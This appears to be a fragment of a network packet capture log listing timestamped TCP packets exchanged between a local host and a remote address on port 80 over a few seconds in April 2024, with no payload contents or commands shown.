Apr 23, 2024 09:32:57.216624975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216650009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216662884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216686010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216695070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216721058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216732979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216757059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216768980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216792107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216803074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216829062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216840982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216865063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216881037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216900110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216913939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216936111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.216943026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.216970921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217004061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217005968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217025042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217042923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217046976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217078924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217098951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217113972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217128038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217149019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217161894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217184067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217192888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217220068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217227936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217256069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217264891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217291117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217302084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217325926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217327118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217360973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217371941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217397928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217407942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217433929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217442989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217469931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217478991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217504978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217510939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217540979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217555046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217576981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217601061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217612028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217622995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217649937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217657089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217685938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217700958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217720985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217734098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217756033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217772007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217792034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217798948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217827082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217838049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217863083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217871904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217899084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217906952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217933893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217947960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.217968941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.217978954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218004942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218017101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218039989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218049049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218075037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218081951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218110085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218120098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218147993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218156099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218184948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218220949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218224049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218255043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218256950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218277931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218291998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218302965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218327045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218336105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218363047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218374968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218398094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218410969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218434095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218442917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218468904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218480110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218506098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218514919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218540907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218549013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218576908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218585968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218612909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218622923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218664885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218672037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218700886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218709946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218735933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218749046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218772888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218780041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218807936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218816042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218844891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218857050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218879938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218888998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218914986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218924999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218950987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218959093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.218987942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.218993902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.219033003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.425825119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425846100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425858021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425868988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425883055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425894022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425905943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425911903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425919056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425931931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.425935984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.425935984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.425992012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426074982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426086903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426098108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426109076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426120043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426131010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426131964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426143885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426153898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426155090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426167965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426179886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426187992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426207066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426223993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426227093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426238060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426250935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426263094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426270008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426294088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426325083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426393986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426405907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426441908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426546097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426558018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426568985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.426589966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.426759958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.428706884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.428755045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.428869963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.428881884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.428893089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.428916931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.428957939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.429006100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.429049015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.463057041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.668752909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.792159081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:57.792346954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:57.903793097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:58.109424114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:58.237214088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:58.237339020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:59.228398085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:59.433962107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:59.563148975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:32:59.563220024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:32:59.944464922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.150785923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254652977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254683018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254695892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254710913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254729033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254741907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254755020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254767895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254780054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254791975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.254873037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.254873037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460546970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460571051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460583925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460596085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460613966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460628986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460659981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460669994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460671902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460684061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460695982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460709095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460719109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460719109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460721016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460732937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460743904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460748911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460757017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460777998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460792065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460797071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460797071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460807085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460819006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460827112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460832119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.460891008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.460891008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666383028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666404009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666414976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666425943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666436911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666449070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666459084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666460991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666471004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666481018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666481018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666491985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666502953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666512966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666522980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666537046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666537046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666569948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666573048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666582108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666591883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666642904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666642904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666697979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666708946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666718006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666728020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666738987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666739941 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666749001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666759968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666771889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666783094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666783094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666783094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666825056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666825056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666827917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666842937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666851997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666862011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666876078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666887045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666889906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666898012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666908026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666918039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666929007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666937113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666937113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666939974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666951895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666961908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666971922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666982889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.666985035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.666985035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.667037964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.667047977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872045040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872067928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872078896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872086048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872093916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872128010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872134924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872143984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872150898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872159004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872170925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872288942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872353077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872364998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872380972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872391939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872396946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872404099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872416019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872426987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872435093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872440100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872452974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872462988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872472048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872478008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872489929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872495890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872500896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872515917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872519970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:00.872528076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:00.872539043 CEST	80	49704	185.172.128.76	192.168.2.5
